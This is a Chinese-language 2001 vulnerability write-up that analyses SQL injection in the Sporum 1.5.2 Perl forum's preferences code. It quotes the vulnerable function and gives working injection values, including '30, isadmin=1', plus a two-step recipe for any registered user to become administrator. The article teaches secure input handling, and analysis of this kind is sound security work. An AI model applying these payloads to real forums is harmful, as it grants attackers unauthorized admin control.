GB | BIG5
|
| 首頁 > 安全技術 > 程序 > 正文 |
 |
| Perl cgi和SQL漏洞分析一例 |
| 作者:stardust (2001-05-19 19:00:00) |
前幾天在網上瞎逛,撞進了一個介紹Linux的站點,站點本身制作平平,但它有一個看起來還不錯的論壇.頁面的底部提供了一個叫"Powered by Sporum1.5.2"的鏈接,指向論壇程序的官方主頁.從那裡我知道了Sporum是用Perl寫的,以MySQL為台數據庫,注冊用戶可以在論壇發貼子,允許用戶訂制自己的偏好,並以cookies進行身份驗証.這個使我不由得想到了wwwthreads這個名的論壇程序,從架構和功能上Sporum都和它很相似.而在此不久之前,wwwthreads已被發現有安全漏洞,可以使任何普通用戶成為論壇的管理員.這使名的安全資源站點packetstorm遭了殃,導致它使用了wwwthreads的論壇被人劫持.想了解更多的細節,你可以讀一下:
http://packetstorm.securify.com/0002-exploits/rfp2k01.txt
在這裡rfp描述了他如何hack了論壇以及對基WEB的數據庫系統的分析,很有啟發性,值得一讀.rfp在他的文章裡指出wwwthreads的安全漏洞在沒有對從表單來的用戶輸入進行全面的檢查.既然Sporum那象wwwthreads,會不會也存在相似的問題呢?
好,那讓我們來看看吧,從linuxberg很容易地可以得到Sporum的1.5.2版.和wwwthreads一樣,Sporum允許用戶訂制自己的偏好你可以訂制貼子如何顯示,如何排列.wwwthreads正是死在這,那Sporum呢?在User.pm的可以找到相關的程序片斷:
sub save_preferences1{
my ($self, $STATE) = @_;
my ($STATE, $spdb) = map{ $self->{$_} } qw(STATE spdb);
my $DBH = $spdb->{'dbh'};
my ($postsper, $myuid, $uid, $prev_op) =
map{ $STATE->{$_} } qw(mypostsper myuid uid prev_op);
# --- check the uid --- thanks Tim W from solutionscripts.com
# --- if uid ne myuid
if($uid != $myuid){
# --- need admin right to change the profile
my ($isadmin) = $spdb->db_select_cols("isadmin", "Users", "uid=$uid");
if(!$isadmin){
return (0, $lang->{'not_allow_edit'}, "", "$config->{'cgidir'}/user.cgi");
}
}
my ($sigq, $sortq, $displayq, $viewq, $cookieexpireq) =
map{ $DBH->quote($STATE->{$_}) } <------ 在用戶輸入的數據外面套上' '
qw(mysig mysort mydisplay myview cookieexpire);
my $data = {('sig'=>$sigq,
'sort'=>$sortq, 'display'=>$displayq,
'view'=>$viewq, 'postsper'=>$postsper, <------看這,是不是有點特別
'cookieexpire'=>$cookieexpireq)};
my ($succ, $errmsg) = $spdb->db_update("Users", $data, "uid=$myuid");
my $uri = "$config->{'cgidir'}/user.cgi";
if($prev_op eq "modifyuser"){
$uri = "$config->{'cgidir'}/admin.cgi";
}
return (0, $errmsg) if !$succ;
return (1, $lang->{'profile_modified2'}, $lang->{'profile_modified1'}, $uri);
}
哈哈,果然不出所料,看出問題出在那了嗎?程序會根據你的輸入更新數據庫,更新的字段有sig,sort,view,display,cookieexpire和postsper,其中前五個字段在數據庫中是字符型的,雖然程序沒對其做什檢查,但它會在它們外面套上' ',這樣用戶的輸入將不會影響到來的數據庫更新操作.可是postper字段不同,它是數值型的,程序忘記給它穿外套了,看起來我們機會來了.
$spdb->db_update("Users", $data, "uid=$myuid");
這個語句的功能是其實就是,根據提供給它的參數生成一個MySQL的Update命令然交給MySQL去執行.假如我們提交給表單的數據是這樣的:
sort="date desc",theme=NULL,view="collapsed",sig="",display="threaded", cookieexpire="+1d",uid=1246,postsper=30
那轉換出來的Update語句會是這樣的:
UPDATE Users SET postsper=30, sort='date desc', theme=NULL, view='collapsed', sig='', display='threaded', cookieexpire='+1d' WHERE uid=1246
我們看到postsper=30沒有套上' '外套.這是正常的情況,沒什害處.但是如果postsper的值是這樣的呢:"30, somecols=newvalue",那轉換出來的Update語句就變成了:
UPDATE Users SET postsper=30, somecols=newvalue, sort='date desc', theme=NULL,
~~~~~~~~~~~~~~~~~~~~~\
我們的輸入
view='collapsed', sig='', display='threaded', cookieexpire='+1d' WHERE uid=1246
這將允許我們修改uid=1246這個用戶的任意字段!其實利用postsper,我們可以修改任意用戶的任意字段.假設一下postsper="30,somecol=newvalue where uid=other's_id #",那相應的Update語句就是這樣的:
UPDATE Users SET postsper=30,somecol=newvalue where uid=other's_id #, sort='date desc',
theme=NULL, view='collapsed', sig='', display='threaded', cookieexpire='+1d'
WHERE uid=1246
因為MySQL將#的內容作為注釋忽略掉,實際執行的是#以前的部分.這樣我們其實可以修改Users表中的任意字段.好了,說了這多,到底修改哪個字段,能使我們成為管理員呢?看一下Users表的結構就知道了:
CREATE TABLE Users(
uid INT(11) NOT NULL, # --- user id
username CHAR(30) NOT NULL, # --- username
passwd CHAR(50) NOT NULL, # --- password
nickname CHAR(50) NOT NULL, # --- nickname
realname CHAR(50), # --- real name
realemail CHAR(50), # --- real email
fakeemail CHAR(50), # --- fake email
homepage CHAR(100), # --- homepage
bio TEXT, # --- bio
sig TEXT, # --- sig
icq VARCHAR(50), # --- icq
sort VARCHAR(20)
DEFAULT "date desc", # --- sort
display CHAR(11)
DEFAULT "threaded", # --- display mode
view CHAR(10)
DEFAULT "collapsed", # --- view mode
postsper INT(11) DEFAULT 10, # --- posts per page
lastlogon DATETIME NOT NULL, # --- last logon
active INT(1) NOT NULL # --- status - 0, 1, 2
DEFAULT 0,
peek INT(11) UNSIGNED NOT NULL,# --- hits on the user profile
registered DATETIME NOT NULL, # --- registered on
cookieexpire CHAR(5) NOT NULL # --- login cookie expire
DEFAULT '+1d',
isadmin INT(1) NOT NULL # --- is user a admin? <------在這兒呢
DEFAULT 0,
# --- 8/27/99
location VARCHAR(150), # --- user location
photourl VARCHAR(150), # --- location of photo
privlev INT(1) NOT NULL, # --- privacy level
# --- 8/30/99
theme VARCHAR(100) NOT NULL # --- theme
DEFAULT "default",
# --- 9/12/99
lastresp DATETIME NOT NULL, # --- last response
PRIMARY KEY (uid, username),
INDEX index1 (uid),
INDEX index2 (username)
);
把postsper的值設成"30, isadmin=1",程序就會把我們更新成管理員了,是不是很不錯?
簡單總結一下如何成為Sporum論壇的管理員:
1. 注冊一個普通用戶
2. 登錄進入修改個人偏好表單,在postsper輸入框中填入"30, isadmin=1",按"save".
你就成為管理員了.
結論:開發cgi程序一定要全面地檢查用戶的輸入,不要想當然的認為用戶會輸入合法的數據給你,不這樣做,是拿安全在冒險.
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
|
|
|
 |
★ 樊強制作 歡迎分享 ★ |